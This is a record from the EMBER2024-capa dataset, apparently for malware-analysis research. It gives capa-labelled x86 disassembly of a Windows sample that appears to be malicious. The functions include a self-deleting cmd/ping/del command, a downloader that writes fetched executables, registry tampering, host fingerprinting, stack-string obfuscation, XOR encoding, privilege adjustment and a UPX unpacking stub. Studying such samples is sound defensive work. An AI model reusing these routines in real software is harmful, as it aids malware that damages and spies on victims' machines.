joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409490
Capabilities:
Check if file exists
Create process on windows
Delete file
Get file attributes
Self delete
Terminate process

Disassembly:
sub esp, 0x608
lea eax, [esp + 0x104]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x104]
lea edx, [esp]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [esp]
push str.1.exe
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4094f4
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x104]
lea edx, [esp + 0x208]
push ecx
push str.cmd__c_ping_127.0.0.1__n_1del___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x208]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a660
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428558
push 0x414c48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x40a697
jmp dword [eax*4 + 0x40a7dc]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x40a697
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40a697
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe case.default.0x40a697
cmp esi, 2
jbe 0x40a720
cmp esi, 4
jne case.default.0x40a697
push esi
lea ecx, [ebp + 0x1c]
push ecx
push esi
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x40a697
jmp 0x40a7a1
mov edi, dword [ebp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push esi
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x40a697
jmp 0x40a7a1
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40a697
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x40a697
jmp 0x40a7a1
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x40a697
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x40a697
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0040a7c8
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a7f0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push 0x432328
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x40a960
Capabilities:
Get hostname

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x20]
push edi
lea eax, [esp + 0x10]
push esi
push eax
push ecx
mov byte [esp + 0x1c], 0x48
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0
call fcn.0040a890
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x40a9b0
push edi
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x40aae0
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
mov ecx, 0x52
xor eax, eax
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
mov byte [esp + 0x130], al
lea eax, [esp + 0x68]
push eax
mov byte [esp + 0x68], 0x66
mov dword [esp + 0x6c], 0x9c
call fcn.0040aa70
lea ecx, [esp + 0x214]
push pe_nt_image_headers32
push ecx
push str.BITS
call fcn.0040a960
mov ebp, dword [esp + 0x424]
xor edx, edx
mov dword [esp + 0x24], edx
mov ecx, 8
lea esi, [esp + 0x220]
lea edi, [esp + 0x120]
mov dword [esp + 0x28], edx
add esp, 0x10
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1c], edx
lea eax, [esp + 0x10]
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xa8]
lea ecx, [esp + 0x14]
push eax
push ecx
push edx
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x18]
mov ecx, 8
lea esi, [esp + 0x210]
lea edi, [esp + 0x110]
mov dword [esp + 0x10c], eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040a7f0
lea ecx, [esp + 0x1ec]
mov dword [esp + 0x104], eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x200]
mov dword [esp + 0x108], edx
call fcn.0040a850
mov esi, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov byte [esp + 0x130], al
mov eax, dword [esp + 0x418]
lea ecx, [esp + 0x1ac]
mov ebx, 0x40
push ecx
mov dword [esp + 0x138], eax
mov dword [esp + 0x1b0], ebx
call esi
mov eax, dword [esp + 0x1b4]
mov edx, dword [esp + 0x1b8]
mov ecx, 0x14
call fcn.00413c10
mov dword [esp + 0x138], eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x24]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x28], ebx
call esi
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov ecx, 0x14
call fcn.00413c10
inc eax
push 0x43bfcc
mov dword [esp + 0x194], eax
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call ebx
mov ecx, 0x43bfcc
add esp, 8
test ecx, ecx
jne 0x40ac7e
lea edx, [esp + 0x13c]
push 0x432380
push edx
call ebx
add esp, 8
lea eax, [esp + 0x310]
push pe_nt_image_headers32
push eax
push str.BITS
call fcn.0040a9c0
add esp, 0xc
mov edi, 0x433128
test eax, eax
je 0x40aca8
lea edi, [esp + 0x310]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x15c]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x14
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x180]
push ecx
call fcn.004052c0
add esp, 8
test eax, eax
jne 0x40acff
lea edx, [esp + 0x17c]
test edx, edx
jne 0x40acff
lea eax, [esp + 0x17c]
push 0x432374
push eax
call ebx
add esp, 8
lea ecx, [esp + 0x64]
push 0x148
push ecx
mov ecx, ebp
call fcn.00401ae0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret
Function at 0x40ad60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x548
push ebx
push edi
xor bl, bl
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x151]
mov byte [esp + 0x150], bl
lea edx, [esp + 0x150]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x53
lea ecx, [esp + 0x14]
mov byte [esp + 0x14], al
mov byte [esp + 0x16], al
mov byte [esp + 0x1b], al
mov eax, dword [esp + 0x554]
push eax
push ecx
push edx
mov byte [esp + 0x21], 0x59
mov byte [esp + 0x23], 0x54
mov byte [esp + 0x24], 0x45
mov byte [esp + 0x25], 0x4d
mov byte [esp + 0x26], 0x5c
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
call fcn.0041486a
add esp, 0xc
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4d]
mov byte [esp + 0x4c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov cl, 0x25
mov dl, 0x32
stosb byte es:[edi], al
mov byte [esp + 0x24], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x37], cl
mov ecx, dword [esp + 0x46]
mov al, 0x64
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x34], dl
mov byte [esp + 0x39], dl
mov edx, dword [esp + 0x44]
mov byte [esp + 0x26], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x30], al
mov byte [esp + 0x35], al
mov byte [esp + 0x3a], al
mov eax, dword [esp + 0x42]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x42]
and eax, 0xffff
push edx
mov byte [esp + 0x2d], 0x34
mov byte [esp + 0x2f], 0x2d
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x34], 0x2d
mov byte [esp + 0x36], 0x2e
mov byte [esp + 0x39], 0x20
mov byte [esp + 0x3b], 0x2e
mov byte [esp + 0x3e], 0x3a
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x43], bl
push eax
and ecx, 0xffff
mov edx, dword [esp + 0x48]
push ecx
and edx, 0xffff
lea eax, [esp + 0x34]
push edx
lea ecx, [esp + 0x60]
push eax
push ecx
call fcn.0041486a
lea edi, [esp + 0x68]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x6c]
push ecx
push edx
lea eax, [esp + 0x30]
push 1
lea ecx, [esp + 0x17c]
push eax
push ecx
push closesocket
mov byte [esp + 0x40], 0x4d
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6b
mov byte [esp + 0x44], 0x54
mov byte [esp + 0x45], 0x69
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x47], 0x65
mov byte [esp + 0x48], bl
call fcn.0040a660
add esp, 0x38
pop edi
pop ebx
add esp, 0x548
ret
Function at 0x40b080
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0
call fcn.0040af20
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40b0c2
mov edx, dword [esp + 8]
mov bl, byte [ecx + edx]
xor bl, 0x86
mov byte [ecx + edx], bl
mov edx, dword [esp + 8]
mov bl, byte [ecx + edx]
add bl, 0xe7
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x40b0a3
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0
push ecx
push esi
call fcn.0040af20
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40b10a
mov edx, dword [esp + 0x10]
mov bl, byte [ecx + edx]
xor bl, 0x83
mov byte [ecx + edx], bl
mov edx, dword [esp + 0x10]
mov bl, byte [ecx + edx]
add bl, 0x79
mov byte [ecx + edx], bl
mov edx, dword [esp + 0x10]
mov bl, byte [ecx + edx]
xor bl, 0x21
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x40b0de
mov eax, dword [esp + 0x10]
pop esi
pop ebx
pop ecx
ret
Function at 0x40b580
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call fcn.004138e0
add esp, 8
test eax, eax
jne 0x40b5c2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x40b5ed
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x40b66a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x6c]
push 0x432c04
push edx
call fcn.00413030
add esp, 8
test eax, eax
jne 0x40b6e7
lea eax, [esp + 0x6c]
push 0x431bb8
push eax
call fcn.00413030
add esp, 8
test eax, eax
jne 0x40b6e7
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x43180c
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x40b6f6
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x40b71e
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret
Function at 0x40ba20
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call fcn.00422518
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40ba8e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call fcn.0041a670
add esp, 8
test eax, eax
jne 0x40ba6c
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40ba8e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40ba64
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40ba77
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x40baa0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x40b9f0
push eax
push ecx
call fcn.00414f13
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x40bbe0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x40bc23
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push closesocket
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x40bc4d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x40bcdf
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x40bca1
cmp word [esp + 0x24], 0x5a4d
jne 0x40bcc8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x40bcd0
jmp 0x40bc75
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x40bd10
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x40bd7e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x40bdd5
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x40bded
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x40bdf8
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret

Function at 0x40be10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40be2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40be2e
xor eax, eax
ret
mov eax, 1
ret
Function at 0x419053
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x419073
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00415ebf
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x419096
test byte [esp + 8], 2
je 0x419096
call fcn.00415f32
mov dword [eax], 0xd
call fcn.00415f3b
mov dword [eax], 5
jmp 0x41906f
xor eax, eax
ret
Function at 0x4148ef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414765

Function at 0x418f20
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418a73

Function at 0x5da2f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x131000]
push edi
or ebp, 0xffffffff
jmp 0x5da312
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5da319
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5da308
mov eax, 1
add ebx, ebx
jne 0x5da32b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5da320
jne 0x5da33c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5da320
xor ecx, ecx
sub eax, 3
jb 0x5da350
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5da3c2
mov ebp, eax
add ebx, ebx
jne 0x5da35b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x5da368
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x5da38c
inc ecx
add ebx, ebx
jne 0x5da378
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5da36d
jne 0x5da389
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5da36d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5da3ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5da39d
jmp 0x5da30e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5da3ac
add edi, ecx
jmp 0x5da30e
pop esi
mov edi, esi
mov ecx, 0x8d1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5da3ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5da3cf
lea edi, [esi + 0x1d8000]
mov eax, dword [edi]
or eax, eax
je 0x5da440
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1da5d0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1da60c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5da3f5
mov ecx, edi
jns 0x5da424
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1da614]
or eax, eax
je 0x5da43a
mov dword [ebx], eax
add ebx, 4
jmp 0x5da412
call dword [esi + 0x1da610]
mov ebp, dword [esi + 0x1da618]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1cf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5da474
sub esp, 0xffffff80
jmp 0x4010e0